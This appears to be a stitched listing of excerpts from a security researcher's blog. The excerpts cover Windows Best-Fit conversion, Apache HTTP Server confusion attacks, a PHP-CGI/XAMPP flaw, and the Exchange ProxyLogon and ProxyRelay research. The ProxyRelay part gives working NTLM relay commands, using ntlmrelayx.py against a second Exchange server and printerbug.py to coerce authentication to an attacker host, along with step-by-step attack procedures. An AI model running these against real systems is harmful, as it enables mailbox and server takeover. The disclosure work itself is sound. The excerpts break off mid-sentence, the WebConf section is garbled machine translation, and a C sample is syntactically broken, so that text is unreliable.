developers to easily obtain their desired data format by simply switching between the A-postfix and W-postfix APIs. It sounds perfect – But wait, so how can a wide character UTF-16 string also be in the ANSI format? Aren’t they fundamentally different? To illustrate this, let’s explore an example. Imagine we’re on an English (Windows-1252code page) system with an environment variable ENV=Hello stored in the system. The data is internally stored asUTF-16(wide character format), but we can retrieve it using both Unicode and ANSI APIs: Unicode API: GetEnvironmentVariableW(L'ENV') ⭢ L'Hello' (Hex: 4800 6500 6C00 6C00 6F00 in UTF-16LE). ANSI API: GetEnvironmentVariableA('ENV') — RtlUnicodeStringToAnsiString ⭢ 'Hello' (Hex: 48 65 6C 6C 6F in ANSI). For theUnicode API, there’s no problem—Unicode in, Unicode out, with no conversion needed. For theANSI API, Windows applies an implicit conversion by calling RtlUnicodeStringToAnsiString (or sometimes WideCharToMultiByte) to convert the original Unicode string to an ANSI string. Since 'Hello' consists only of ASCII characters, everything works perfectly and as expected. But what happens if the environment variable contains a more complex string, like√π⁷≤∞, with a lot of non-ASCII characters? Unicode API: GetEnvironmentVariableW(L'ENV') ⭢ L'√π⁷≤∞' (Hex: 1a22 c003 7720 6422 1e22 in UTF-16LE). TheUnicode APIcorrectly returns the original string as we expected. Now, what happens with the ANSI API? Are you able to guess the result? ANSI API: GetEnvironmentVariableA('ENV') — RtlUnicodeStringToAnsiString ⭢ 'vp7=8' (Hex: 76 70 37 3D 38 in ANSI) 🤯 Yep, the output isvp7=8. A strange result, right? I guess you can’t even figure out the connection between the original characters and their character codes! This bizarre transformation is what’s known as“Best-Fit”behavior. As a result, the original string √π⁷≤∞ transforms into a nonsensical 'vp7=8'. This behavior highlights the pitfalls of relying on ANSI APIs when handling non-ASCII characters. And actually, it’s not just when using Windows APIs directly — this behavior also occurs when using non-wide-character version CRT (C runtime) functions like getenv. Surprisingly, even when you receive arguments or environment variables through a seemingly straightforward non-wide-character main function like: 12345678#include stdio.h#include stdlib.hint main(int argc, char* argv[], char* envp[]) { print('test_env=%s\n', getenv('test_env')); for (int i=0; i argc; ++i) printf('argv[%d]=%s\n', i, argv[i]);}The same Best-Fit behavior applies to both the arguments and the environment variables. Here’s what happens when we run this code: This happens because, during compilation, the compiler inserts several functions and links the CRT DLLs for you, which internally rely on ANSI Windows APIs. As a result, the same Best-Fit behavior is triggered implicitly. We keep talking about Best-Fit, but how does this quirky behavior actually work in the end? It was the Best of Fit In Windows, “Best-Fit” character conversion is a way the operating system handles situations where it needs to convert characters from UTF-16 to ANSI, but the exact character doesn’t exist in the target code page. For instance, the ∞ (U+221E) symbol isn’t part of the Windows-1252 code page, so Microsoft decided to map it to the “closest“ character—8 (). Uh, okay. Yeah I guess they kinda look similar, but
  9. [Traditional Chinese version | English Version ] Hey there! This is my research on Apache HTTP Server presented at Black Hat USA 2024. Additionally, this research will also be presented at HITCON and OrangeCon. If you’re interested in getting a preview, you can check the slides here: Confusion Attacks: Exploiting Hidden Semantic Ambiguity in Apache HTTP Server! Also, I would like to thank Akamai for their friendly outreach! They released mitigation measures immediately after this research was published (details can be found on Akamai’s blog). TL;DR This article explores architectural issues within the Apache HTTP Server, highlighting several technical debts within Httpd,including 3 types of Confusion Attacks, 9 new vulnerabilities, 20 exploitation techniques, and over 30 case studies. The content includes, but is not limited to: How a single ? can bypass Httpd’s built-in access control and authentication. How unsafe RewriteRules can escape the Web Root and access the entire filesystem. How to leverage a piece of code from 1996 to transform an XSS into RCE. Outline Before the Story How Did the Story Begin? Why Apache HTTP Server Smells Bad? A Whole New Attack — Confusion Attack1. Filename ConfusionPrimitive 1-1. Truncation1-1-1. Path Truncation 1-1-2. Mislead RewriteFlag Assignment Primitive 1-2. ACL Bypass 2. DocumentRoot ConfusionPrimitive 2-1. Server-Side Source Code Disclosure2-1-1. Disclose CGI Source Code 2-1-2. Disclose PHP Source Code Primitive 2-2. Local Gadgets Manipulation!2-2-1. Local Gadget to Information Disclosure 2-2-2. Local Gadget to XSS 2-2-3. Local Gadget to LFI 2-2-4. Local Gadget to SSRF 2-2-5. Local Gadget to RCE Primitive 2-3. Jailbreak from Local Gadgets2-3-1. Jailbreak from Local Gadgets 2-3-2. Jailbreak Local Gadgets to Redmine RCE 3. Handler ConfusionPrimitive 3-1. Overwrite the Handler3-1-1. Overwrite Handler to Disclose PHP Source Code 3-1-2. Overwrite Handler to ██████ ███████ ██████ Primitive 3-2. Invoke Arbitrary Handlers3-2-1. Arbitrary Handler to Information Disclosure 3-2-2. Arbitrary Handler to Misinterpret Scripts 3-2-2. Arbitrary Handler to Full SSRF 3-2-3. Arbitrary Handler to Access Local Unix Domain Socket 3-2-4. Arbitrary Handler to RCE 4. Other VulnerabilitiesCVE-2024-38472 - Windows UNC-based SSRFTriggered via HTTP Request Parser Triggered via Type-Map CVE-2024-39573 - SSRF via Full Control of RewriteRule Prefix Future Works Conclusion Before the Story This section is just some personal murmurs. If you’re only interested in the technical details, jump straight to — How Did the Story Begin? As a researcher, perhaps the greatest joy is seeing your work recognized and understand by peers. Therefore, after completing a significant research with fruitful results, it is natural to want the world to see it — which is why I’ve presented multiple times at Black Hat USA and DEFCON. As you might know, since 2022, I have been unable to obtain a valid travel authorization to enter the U.S. (For Taiwan, travel authorization under the Visa Waiver Program can typically be obtained online within minutes to hours), leading me to miss the in-person talk at Black Hat USA 2022. Even a solo trip to Machu Picchu and Easter Island in 2023 couldn’t transit through the U.S.( To address this situation, I started preparing for a B1/B2 visa in January this year, writing various documents, interviewing at the embassy, and endlessly waiting. It’s not fun. But to have my work seen, I still spend a lot of time seeking all possibilities, even until three weeks before the conference, it was unclear whether my talk would be cancelled or not (BH only accepted in-person talks, but Thanks to the RB, it could ultimately be presented in pre-recorded format). So, everything you see, including slides, videos, and this blog, was completed within just a few dozen days. As a pure researchers with a clear conscience, my attitude towards vulnerabilities has always been — they should be directly reported to and fixed by the vendor. Writing these words isn’t for any particular reason, just to record some feelings of helplessness, efforts in this year, and to thank those who have helped me this year, thank you all :) How Did the Story Begin? Around the beginning of this year, I started thinking about my next research target. As you might know, I always aim to challenge big targets that can impact the entire internet, so I began searching for some complex topics or interesting open-source projects like Nginx, PHP, or even delved into RFCs to strengthen my understanding of protocol details. While most attempts ended in failure (though a few might become topics for next blog posts ), reading these codes reminded me of a quick review I had done of Apache HTTP Server last year! Although I didn’t dive deep into the code due to the work schedule, I had already “smelled” something not quite right about its coding style at that time. So this year, I decided to continue on that research, transforming the “bad smells” from an indescribable “feeling” into concrete research on Apache HTTP Server! Why Apache HTTP Server Smells Bad? Firstly, the Apache HTTP Server is a world constructed by “modules,” as proudly declared in its official documentation regarding its modularity: Apache httpd has always accommodated a wide variety of environments through its modular design. […] Apache HTTP Server 2.0 extends this modular design to the most basic functions of a web server. The entire Httpd service relies on hundreds of small modules working together to handle a client’s HTTP request.Among the 136 modules listed by the official documentation, about half are either enabled by default or frequently used by websites! What’s even more surprising is that these modules also maintain a colossal request_rec structure while processing client HTTP requests. This structure includes all the elements involved in handling HTTP, with its detailed definition available in include/httpd.h. All modules depend on this massive structure for synchronization, communication, and data exchange. As an HTTP request passes through several phases, modules act like players in a game of catch, passing the structure from one to another. Each module even has the ability to modify any value in this structure according to its own preferences! This type of collaboration is not new from a software engineering perspective. Each module simply focuses on its own task. As long as everyone finishes their work, then the client can enjoy the service provided by Httpd. This approach might work well with a few modules,but what happens when we scale it up to hundreds of modules collaborating — can they really work well together?🤔 Our starting point is straightforward —the modules do not fully understand each other, yet they are required to cooperate. Each module might be implemented by different people, with the code undergoing years of iterations, refactors, and modifications. Do they really still know what they are doing? Even if they understand their own duty, what about other modules’ implementation details? Without any good development standards or guidelines, there must be several gaps that we can exploit! A Whole New Attack — Confusion Attack Based on these observations, we startedfocusing on the “relationships” and “interactions” among these modules. If a module accidentally modifies a structure field that it considers uniform, but is cruel for another module, it could affect the latter’s decisions. Further, if the definitions or semantics of the fields are not precision enough, causing ambiguities in how modules understand the same fields, it could lead to potential security risks as well! From this starting point, we developed three different types of attacks, as these attacks are more or less related to the misuse of structure fields. Hence, we’ve named this attack surface “Confusion Attack,” and the following are the attacks we developed: Filename ConfusionDocumentRoot ConfusionHandler ConfusionThrough these attacks, we have identified 9 different vulnerabilities: CVE-2024-38472- Apache HTTP Server on Windows UNC SSRF CVE-2024-39573- Apache HTTP Server proxy encoding problem CVE-2024-38477- Apache HTTP Server: Crash resulting in Denial of Service in mod_proxy via a malicious request CVE-2024-38476- Apache HTTP Server may use exploitable/malicious backend application output to run local handlers via internal redirect CVE-2024-38475- Apache HTTP Server weakness in mod_rewrite when first segment of substitution matches filesystem path CVE-2024-38474- Apache HTTP Server weakness with encoded question marks in backreferences CVE-2024-38473- Apache HTTP Server proxy encoding problem CVE-2023-38709- Apache HTTP Server: HTTP response splitting CVE-2024-??????- [redacted] These vulnerabilities were reported through the official security mailing list and were addressed by the Apache HTTP Server in the 2.4.60 update published on 2024-07-01. As this is a new attack surface from Httpd’s architectural design and its internal mechanisms, naturally, the first person to delve into it can find the most vulnerabilities. Thus, I currently hold the most CVEs from Apache HTTP Server . it leads to many updates that are not backward compatible. Therefore, patching these issues is not easy for many long-running production servers. If adm
  10. [Traditional Chinese version | English Version ] This is a side story/extra bug while I’m preparing for my Black Hat USA presentation. I believe most of the details have already been covered in the official advice (should be published soon). Although PHP-CGI has gradually been phased out over time,this vulnerability affects XAMPP for Windows by default, allowing unauthenticated attackers to execute arbitrary code on remote XAMPP servers through specific character sequences. Given the widespread use of PHP and XAMPP in the web ecosystem, I urge everyone to check if they are affected and update their systems accordingly. Please refer to the Security Alert published by DEVCORE for mitigation measures. This vulnerability is incredibly simple, but that’s also what makes it interesting. Who would have thought that a patch, whichhas been reviewed and proven secure for the past 12 years, could be bypasseddue to a minor Windows feature? I believe this feature could lead to more potential vulnerabilities. If you use this technique, don’t forget to reference to this article!
  11. The series of A New Attack Surface on MS Exchange: A New Attack Surface on MS Exchange Part 1 - ProxyLogon! A New Attack Surface on MS Exchange Part 2 - ProxyOracle! A New Attack Surface on MS Exchange Part 3 - ProxyShell! A New Attack Surface on MS Exchange Part 4 - ProxyRelay! Microsoft Exchange, as one of the most common email solutions in the world, has become part of the daily operation and security connection for governments and enterprises. This January, we reported a series of vulnerabilities of Exchange Server to Microsoft and named it as ProxyLogon. ProxyLogon might be the most severe and impactful vulnerability in the Exchange history ever. If you were paying attention to the industry news, you must have heard it. While looking into ProxyLogon from the architectural level, we found it is not just a vulnerability, but an attack surface that is totally new and no one has ever mentioned before. This attack surface could lead the hackers or security researchers to more vulnerabilities. Therefore, we decided to focus on this attack surface and eventually found at least 8 vulnerabilities. These vulnerabilities cover from server side, client side, and even crypto bugs. We chained these vulnerabilities into 3 attacks: ProxyLogon: The most well-known and impactful Exchange exploit chain ProxyOracle: The attack which could recover any password in plaintext format of Exchange users ProxyShell: The exploit chain we demonstrated at Pwn2Own 2021 to take over Exchange and earn $200,000 bounty I would like to highlight that all vulnerabilities we unveiled here are logic bugs, which means they could be reproduced and exploited more easily than any memory corruption bugs. We have presented our research at Black Hat USA and DEFCON, and won the Best Server-Side bug of Pwnie Awards 2021. You can check our presentation materials here: ProxyLogon is Just the Tip of the Iceberg: A New Attack Surface on Microsoft Exchange Server! [Slides] [Video] By understanding the basics of this new attack surface, you won’t be surprised why we can pop out 0days easy! Intro I would like to state that all the vulnerabilities mentioned have been reported via the responsible vulnerability disclosure process and patched by Microsoft. You could find more detail of the CVEs and the report timeline from the following table. Report Time Name CVE Patch Time CAS[1] Reported By Jan 05, 2021 ProxyLogon CVE-2021-26855 Mar 02, 2021 Yes Orange Tsai, Volexity and MSTIC Jan 05, 2021 ProxyLogon CVE-2021-27065 Mar 02, 2021 - Orange Tsai, Volexity and MSTIC Jan 17, 2021 ProxyOracle CVE-2021-31196 Jul 13, 2021 Yes Orange Tsai Jan 17, 2021 ProxyOracle CVE-2021-31195 May 11, 2021 - Orange Tsai Apr 02, 2021 ProxyShell[2] CVE-2021-34473 Apr 13, 2021 Yes Orange Tsai working with ZDI Apr 02, 2021 ProxyShell[2] CVE-2021-34523 Apr 13, 2021 Yes Orange Tsai working with ZDI Apr 02, 2021 ProxyShell[2] CVE-2021-31207 May 11, 2021 - Orange Tsai working with ZDI Jun 02, 2021 - - - Yes Orange Tsai Jun 02, 2021 - CVE-2021-33768 Jul 13, 2021 - Orange Tsai and Dlive [1] Bugs related to this new attack surface direclty[2] Pwn2Own 2021 bugs Why did Exchange Server becomes a hot topic? From my point of view, the whole ProxyLogon attack surface is actually located at an early stage of Exchange request processing. For instance, if the entrance of Exchange is 0, and 100 is the core business logic, ProxyLogon is somewhere around 10. Again, since the vulnerability is located at the beginning place, I believe anyone who has reviewed the security of Exchange Carefully would spot the attack surface. This was also why I tweeted my worry about bug collision after reporting to Microsoft. The vulnerability was so impactful, yet it’s a simple one and located at such an early stage. You all know what happened next, Volexity found that an APT group was leveraging the same SSRF (CVE-2021-26855) to access users’ emails in early January 2021 and reported to Microsoft. Microsoft also released the urgent patches in March. From the public information released afterwards, we found that even though they used the same SSRF, the APT group was exploiting it in a very different way from us. We completed the ProxyLogon attack chain through CVE-2021-27065, while the APT group used EWS and two unknown vulnerabilities in their attack. This has convinced us that there is a bug collision on the SSRF vulnerability. Image from Microsoft Blog Regarding the ProxyLogon PoC we reported to MSRC appeared in the wild in late February, we were as curious as everyone after eliminating the possibility of leakage from our side through a through investigation. With a clearer timeline appearing and more discussion occurring, it seems like this is not the first time that something like this happened to Microsoft. Maybe you would be interested in learning some interesting stories from here. Why targeting on Exchange Server? Mail server is a highly valuable asset that holds the most confidential secrets and corporate data. In other words, controlling a mail server means controlling the lifeline of a company. As the most common-use email solution, Exchange Server has been the top target for hackers for a long time. Based on our research, there are more than four hundred thousand thousands Exchange Servers exposed on the Internet. Each server represents a company, and you can imagine how horrible it is while a severe vulnerability appeared in Exchange Server. Normally, I will review the existing papers and bugs before starting a research. Among the whole Exchange history, is there any interesting case? Of course. Although most vulnerabilities are based on known attack vectors, such as the deserialization or bad input validation, there are still several bugs that are worth mentioning. The most special The most special one is the arsenal from Equation Group in 2017. It’s the only practical and public pre-auth RCE in the Exchange history. Unfortunately, the arsenal only works on an ancient Exchange Server 2003. If the arsenal leak happened earlier, it could end up with another nuclear-level crisis. The most interesting The most interesting one is CVE-2018-8581 disclosed by someone who cooperated with ZDI. Though it was simply an SSRF, with the feature, it could be combined with NTLM Relay, the attacker could turn a boring SSRF into something really fancy. For instance, it could directly control the whole Domain Controller through a low privilege account. The most surprising The most surprising one is CVE-2020-0688 , which was also disclosed by someone working with ZDI. The root cause of this bug is due to a hard-coded cryptographic key in Microsoft Exchange. With this hard-coded key, an attacker with low privilege can take over the whole Exchange Server. And as you can see, even in 2020, a silly, hard-coded cryptographic key could still be found in an essential software like Exchange. This indicated that Exchange is lacking security reviews, which also inspired me to dig more into the Exchange security. Where is the new attack surface Exchange is a very sophisticated application. Since 2000, Exchange has released a new version every 3 years. Whenever Exchange releases a new version, the architecture changes a lot and becomes different. The changes of architecture and iterations make it difficult to upgrade an Exchange Server. In order to ensure the compatibility between the new architecture and old ones, several design debts were incurred to Exchange Server and led to the new attack surface we found. Where did we focus at Microsoft Exchange? We focused on the Client Access Service, CAS. CAS is a fundamental component of Exchange. Back to the version 2000/2003, CAS was an independent Frontend Server in charge of all the Frontend web rendering logics. After several renaming, integrating, and version differences, CAS has been downgraded to a service under the Mailbox Role. The official documentation from Microsoft indicates that: Mailbox servers contain the Client Access services thataccept client connections for all protocols. These frontend services areresponsible for routing or proxying connectionsto the corresponding backend services on a Mailbox server From the narrative you could realize the importance of CAS, and you could imagine how critical it is when bugs are found in such infrastructure. CAS was where we focused on, and where the attack surface appeared. The CAS architecture CAS is the fundamental component in charge of accepting all the connections from the client side, no matter if it’s HTTP, POP3, IMAP or SMTP, and proxies the connections to the corresponding Backend Service. As a Web Security researcher, I focused on the Web implementation of CAS. The CAS web is built on Microsoft IIS. As you can see, there are two websites inside the IIS. The “Default Website” is the Frontend we mentioned before, and the “Exchange Backend” is where the business logic is. After looking into the configuration carefully, we notice that the Frontend is binding with ports 80 and 443, and the Backend is listening on ports 81 and 444. All the ports are binding with 0.0.0.0, which means anyone could ac
  12. TL;DR for Hackers Researchers: this is a more conceptual talk for web developers. All are in Mandarin but you can check the slides here if interested. I haven't blogged for a long time. I'll record my speech on WebConf 2023. It's probably a case of sorting the evolutionary trends of Web Security in the past decade and giving relatively good attack techniques. Although I don't have a lecture and watch the projection video, I don't know if I'm here to watch the projection video. However, if I'm interested, I can still click here to get the projection video! Since listeners are website developers (covering front-end, back-end and even architects), the attacking techniques I chose are simple, quick, understandable and interesting. I don’t talk about the defense techniques, because they can’t cover them in just 45 minutes, so the small goal I booked for myself is : As long as there is one thing, if the developer encounters the same scene and a small red frame will pop out of the brain, it seems that someone has said that he can slightly adjust the difference between the developer and the employee through this method, then my goal will be achieved! /posts/2023-08-2023-webconf-the-evolution-of-web-security/49126aaee4452ee9-01.fixme So what has Web Security developed in the past ten years? If I were to use one word to describe it, the most important thing is the word "roll"! Web Security has now competed so much that even a single bit group has to be more serious. For example, the problem of Nginx's classic Off-by-Slash. When should we add a diagonal line and when not, I believe that people who understand will smile with heart. Looking at the development of Web Security over the past decade, I have summarized the following four trends (the following purely represents personal views, you can disagree with :) 1. 架構層面的攻擊逐漸成為顯學 With the complexity of website architecture, the problems that could be solved in Single Server in the past, with the introduction of Reverse Proxy, Load Balance, Firewall, Cache Server and even CDN, have begun to become complex. The original web applications, how web servers can match these new roles, and how these combination interactions introduce new attacks are trends that have been exploring for the past decade. The case I gave here is : Abusing HTTP hop-by-hop request headers by Nathan Davison真實世界的案例: F5 iControl REST Endpoint Authentication Bypass Technical Deep Dive by James Horseman Web Cache Deception Attack by Omer Gil真實世界的案例: Web Cache Deception Attack in PayPal Home Page The regrets of the sacred : HTTP Desync Attacks: Request Smuggling Reborn by James Kettle 2. 對底層邏輯重新梳理的攻擊 With the maturity of the front and back end frameworks, developers have gradually developed the habit of using the framework. In order to meet this trend, the attacker had to start digging into the framework and even the bottom of the programming language. For example, the early SQL Injection began to be greatly reduced as the ORM appeared, causing the attacker to start looking for loopholes in the ORM implementation; similarly, XSS, with the built-in protection of the framework, it is enough to handle most of the development scenes, the attacker can only start to view the game I'll play you with. On the other hand, re-examining some framework logic that is convenient for developers to use is also a school that has developed in recent years. For example, although the problem of the Spring4Shell vulnerability that was extremely problematic in Data Binding, after careful review, it will be found that the main reason is that the Java Runtime version update has affected the internal mechanism changes in its bottom layer. In this trend I introduced two new attack techniques for programming language bottom layer : File Operation Induced Unserialization via the “phar://” Stream Wrapper by Sam Thomas真實世界的案例: LARAVEL=V8.4.2 DEBUG MODE: REMOTE CODE EXECUTION Prototype pollution attack in NodeJS application by Olivier Arteau真實世界的案例: Exploiting prototype pollution – RCE in Kibana (CVE-2019-7609) by Michał Bentkowski 3. 不一致性所造成的攻擊面 As the website functions become more complex, the data is getting longer and longer in the life cycle between the website! A user requests (a piece of data) may pass through the mid-level Proxy/Cache Server pre-processing, business logic reprocessing, cloud API processing, and finally the journal server needs to be explained again. As the more sources of processing data are, and each source has different solutions to the same document, inconsistency between the explanations may cause security problems. What is particularly interesting in the past few years is the attack on RFC resolution. RFC only defines the rules but does not explain how to implement it, causing differences between different implementations to cause problems. For example, in the case, the inconsistency between JavaScript and Erlang for the same JSON solution causes so many problems. I believe this will also be one of the important trends of Web Security in the future! A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages! by Orange Tsai Remote Code Execution in CouchDB by Max Justicz 4. 跨應用組合所導致的新攻擊 In this era when developers of the web have to know everything, traditionally, if you write a website, you don’t have to touch the bottom layer, you will be hit by WebAssembly; if you don’t have to understand passwords, you will appear in Web 3.0. Information security has never been just a single subject. If you are only familiar with your own domain, you will easily fall into thinking errors or even be hit by the downfall! Web Security has been We have also begun to attack cross-applications, whether it is cross-consolidation combination, cross-region error, cross-domain combination, or even different Conventions are combined. For example, RFC naming regulations are just a coincidence with the HTTP function database's variables. In recent years, such examples of breaking three views have emerged, which makes people have to admire the fact that they have rich imagination to combine these things that cannot be tied together! Ticket Trick: How I hacked hundreds of companies through their helpdesk by Inti De Ceukelaire HTTPoxy Attack AvOracle: New Attack Vector Against Anti Virus by Ryo Ichikawa and Ryota Shiga : Timeless Timing Attacks by Tom Van Goethem Mathy Vanhoef 5. 當前端安全不只在前端… I originally planned to click on four items, but it is always difficult to remove front-end security from the development trend. Anyway, there will always be five people in the Four Heavenly Kings! Let’s regard front-end security as the great devil. With the rise of Web 2.0/3.0, the website has begun to focus on users and store more and more sensitive data on the user side. In the past decade, from the decline of browsers and the addition of new features to the mainstream framework, the development of front-end security can actually be a whole and develop a lot of cool technologies, and it is even a bit slight. However, since a large part of front-end security is still based on user interaction, it is often less valued, but with Headless Browser and Electron-Based This prejudice in the development of desktop applications is slowly beginning to be broken! First of all, Chromium is widely used. More and more developers will use Headless Browser on the server side to directly render the web page into PDF or image. Coupled with the prevalence of web crawling and the automation of tests, many XSSs that require user interaction can now be directly developed on the server side (or automatically). These are a little bit blurring between the front-end security and back-end security of the web page. Another water distribution is the popularity of Electron-Based desktop applications (of course, Webview in mobile apps is the same). When all popular desktop applications such as Slack, Discord, Trello, and even Visual Studio Code for writing programs have become browser-based desktop applications. XSS, which was previously considered to be a chicken rib and can only redirect cookies, is now a high-risk vulnerability that can directly jump to small calculations! Here you can take a look at Microsoft Teams Example: How to create XSS in desktop applications through an AngularJS feature, and then complete the entire attack chain through Prototype Pollution, and control the victims completely with a message! How I Hacked Microsoft Teams and got $150,000 in Pwn2Own by Masato Kinugawa 結語 I always have to write a good sentence. In short, I believe that Web Security will still have the next ten years, and the attack will only be more refined and more concise. As for continuing to learn? Leaning down? Or handing it directly to professionals, it will be up to you to decide!
  13. /posts/2022-10-proxyrelay-a-new-attack-surface-on-ms-exchange-part-4/2c29d0f4d257c078-01.jpeg This is a cross-post blog from DEVCORE. You can check the series on: A New Attack Surface on MS Exchange Part 1 - ProxyLogon! A New Attack Surface on MS Exchange Part 2 - ProxyOracle! A New Attack Surface on MS Exchange Part 3 - ProxyShell! A New Attack Surface on MS Exchange Part 4 - ProxyRelay! Hi, this is a long-time-pending article. We could have published this article earlier (the original bug was reported to MSRC in June 2021 with a 90-days Public Disclosure Policy). However, during communications with MSRC, they explained that since this is an architectural design issue, lots of code changes and testings are expected and required, so they hope to resolve this problem with a one-time CU (Cumulative Update) instead of the regular Patch Tuesday. We understand their situation and agree to extend the deadline. Microsoft eventually released Exchange Server 2019 CU 12 and Exchange Server 2016 CU 23 on April 20, 2022. However,this patch did not enable by default. Microsoft didn’t release the patch-activate methods until August 09, 2022. So, we originally had the opportunity to demonstrate our attack at Pwn2Own Vancouver 2021. However, we dropped the idea quickly because our intention is not to earn bounties. We are here to secure the world! You can check the Timeline to know the detailed disclosure process. Idea Since Microsoft blocked our Proxy-Related attacks in April 2021, I have been thinking about whether there is a way to bypass the mitigation. During that April patch, Microsoft enhanced the authentication part of CAS Frontend by requiring all HTTP requests that need a Kerberos Ticket to be authenticated first. This enhancement effectively mitigated the attack surface we proposed and stopped unauthenticated HTTP requests accessing the CAS Backend. So Exchange is safe now? Of course not, and this article is to prove this! Since Microsoft only fixes the problematic code, we proposed several attacks and possible weaknesses in our POC 2021 and HITCON 2021 talks. Maybe you have heard that our first prediction has already been made in recent ProxyNotShell. The attack reuses the path confusion of ProxyShell but attaches a pre-known authentication instead. It’s solid but it looks it still needs a valid authentication (not sure, still haven’t time to dig into). However, we hinted there is another way not to fight with the auth-enhancement face-to-face during my talks. Now we can finally disclose it :) Just in case you don’t know, I am a big fan of Printer Bug (kudos to Lee Christensen, Will Schroeder, and Matt Nelson for their amazing talk at DerbyCon 2018). PrinterBug allows an attacker to coerce any domain-joined machine to initiate an SMB connection with its own Machine Account to the attacker via MS-RPRN protocol. Because this behavior works as designed, this hacker-friendly feature has been extensively used for NTLM relaying for years. In the architecture of Exchange CAS, Backend authors an HTTP request to have the ability to impersonate any user by checking whether the login identity has the Extended Right of ms-Exch-EPI-Token-Serialization or not. Also, during the Exchange Server installation, the mailbox server will be added to the Exchange Servers group automatically, and all objects in this Active Directory group have that Token-Serialization right by default. With the prior knowledge in mind, I come up with a simple idea. It’s common to see multiple Exchange Servers in corporate networks for high availability and site resilience.Can we relay the NTLM authentication among Exchange Servers?There are several pros to this relay idea. Since it’s a cross-machine relay, it won’t be limited by the same-host restrictions. Also, because the NTLM authentication is initiated by the Machine Account of Exchange Server, the relayed authentication owns the Token-Serialization right that allows us to impersonate any user in Exchange services. I believe this is a fantastic idea and would like to explore if it is exploreable! P.S. This attack surface was also found and reported to MSRC independently by Dlive from Tencent Xuanwu Lab, so you can see we share most of the CVE acknowledgments. Vulnerabilities Let’s talk about the vulnerabilities. Since it’s an entire attack surface instead of a single bug, this idea could be applied to different contexts, causing different vulnerabilities. The impact of these vulnerabilities is that an attacker can bypass Exchange authentications or even get code execution without user-interaction. Here are the related CVEs so far: CVE-2021-33768 - Relay to Exchange FrontEnd CVE-2022-21979 - Relay to Exchange BackEnd CVE-2021-26414 - Relay to Exchange DCOM CVE-2022-24477 - Relay to other services of Exchange The following attacks have the similar template, the host EX01 stands for the first Exchange Server, EX02 for the second Exchange Server, and ATTACKER for the attacker-controlled server. In all attacks, the attacker coerces the first Exchange Server to initiate an NTLM authentication to him, and relay it to the second Exchange Server. We use printerbug.py to coerce a server to initiate an SMB connection and use ntlmrelayx.py to catch the NTLM and relay the authentication to another Exchange Server. Round 1 - Relay to Exchange FrontEnd For the first context, we try to relay the authentication to another Frontend of Exchange Server. Since the identity of the relayed authentication is Exchange’s Machine Account which owns the Token-Serialization right, we can impersonate any user! Here we relay the NTLM authentication from EX01 to EX02’s Frontend EWS service as the showcase. We implement the relay-to-frontend-EWS attack by customizing the httpattack.py! Here is a simple overview: Run the ntlmrelayx.py on the ATTACKER server to wait for NTLM authentications. Use the printerbug.py to coerce EX01 to initiate an SMB connection to ATTACKER. Receive the SMB connection on the ATTACKER and relay the NTLM blobs to EX02. Complete the NTLM handshakes to get full access to the EWS endpoint. 12345# Terminal 1$ python ntlmrelayx.py -smb2support -t https://EX02/EWS/Exchange.asmx# Terminal 2$ python printerbug.py EX01 ATTACKERTheoretically, we can take over the target mailbox by EWS operations. Here we give a demo to dump the secret under administrator’s mailbox. Patching FrontEnd Microsoft assigned CVE-2021-33768 and released a patch to fix that Frontend is relay-able in July 2021. Since logging in as Machine Account in Frontend isn’t a regular operation, it’s easy to mitigate the attack by adding a check IsSystemOrMachineAccount() on the Frontend Proxy-Handler to ensure all Frontend logos are not Machine Account. Round 2 - Relay to Exchange BackEnd Relaying to Frontend can be easily mitigated by a simple check. How about relaying to Backend? Since Backend verifies the Frontend requests by checking whether it’s a Machine Account or not, mitigating Backend would be more challenging because it’s a regular operation and Backend needs the Machine Account that has the extended right of ms-Exch-EPI-Token-Serialization to impersonate to the desired user. Here we provide 3 showcases against attacking Backend. 2-1 Attacking BackEnd /EWS Based on the relay-to-frontend EWS attack we introduced, the earlier attack can be re-applied to Backend seamlessly. The only change is to modify the target port from 443 to 444. 2-2 Attacking BackEnd /RPC The other showcase is attacking Outlook Anywhere. Exchange defines several internal RPC services that can directly operate the mailbox. Those RPC services have a public interface and can be access through /Rpc/*, and users can access their own mailbox via RPC-over-HTTP protocol, which is described in Microsoft’s MS-RPCH specification. For those who want to understand the underlying mechanism, it’s recommended to read the awesome research Attacking MS Exchange Web Interfaces by Arseniy Sharoglazov for details. Back to our attack, the core logic is as same as attacking EWS. Because the /Rpc/* is also located at HTTP/HTTPS, it’s also relay-able. Once we bypass the authentication and access the route /Rpc/RpcProxy.dll, we can impersonate as any user and operate his mailbox through the RPC-over-HTTP protocol. To implement the attack, we have ported lots of the Ruler Project to Impacket. As the result of this showcase, we can bypass the authentication by PrinterBug and operates any user’s mailbox through Outlook Anywhere. The entire attack can be illustrated as the following steps: Establish RCP_IN_DATA and RCP_OUT_DATA channels to EX02 for RPC I/O. Trigger PrinterBug on EX01 and relay to EX02 to complete NTLM handshakes. Attach X-CommonAccessToken headers to indicate we are Exchange Admin on both HTTP headers. Interact with the Outlook Anywhere by lots of the coding works upon MS-OXCRPC and MS-OXCROPS over MS-RPCH… 2-3 Attacking BackEnd /PowerShell The last showcase we would like to highlight is relaying to Exchange PowerShell. Since we have bypassed the authentication on Backend IIS, it’s possible to perform a ProxyShell-Like exploit again! Once we can execute arbitrary Exchange Cmdlets, it shouldn’t be hard to find a Post-Auth RCE to chain together because we are Exchange Admin. There are hundreds of Cmdlets for the purpose of Exchange Management, and many past cases (CVE-2020-16875, CVE-2020-17083, CVE-2020-17132, CVE-2021-31207 and more) have proven that this is not a difficult task, too. Since we decided not to participate in Pwn2Own, we did not implement this exploit chain. Here we leave this as an exercise for our readers.) 2-4 Patching BackEnd Microsoft assigned CVE-2022-21979 and patch that in August 2022. This patch permanently eliminates all relay attacks on Backend by forcibly turning on the Extended Protection Authentication in IIS. Round 3 - Relay to Windows DCOM This part should be all credited to Dlive. The industry knows MS-DCOM is relay-able since Sylvain Heiniger’s awesome Relaying NTLM authentication over RPC research for long. However, Dlive creates an RCE-chain based on the group inheritance of Exchange Servers in Active Directory environments. Please shout out to him! The idea of this attack is that the Local Administrators group of Exchange Server includes the group member Exchange Trusted Subsystem, and all Exchange Server are in this group by default. That means the Machine Account EX01$ is also the local administrator of EX02. With this concept in mind, the impact of relay-to-MS-DCOM can be maximized and perfectly applied to Exchange Server now! Dlive has demonstrated this attack in his DEFCON 29 talk. Although he didn’t publish the exploit code, the Wireshark screenshot in his slidesp45 has already hinted everything and is enough to reproduce. The process could be illustrated as the following: Coerce EX01 to initiate a connection, and relay the NTLM to the Endpoint 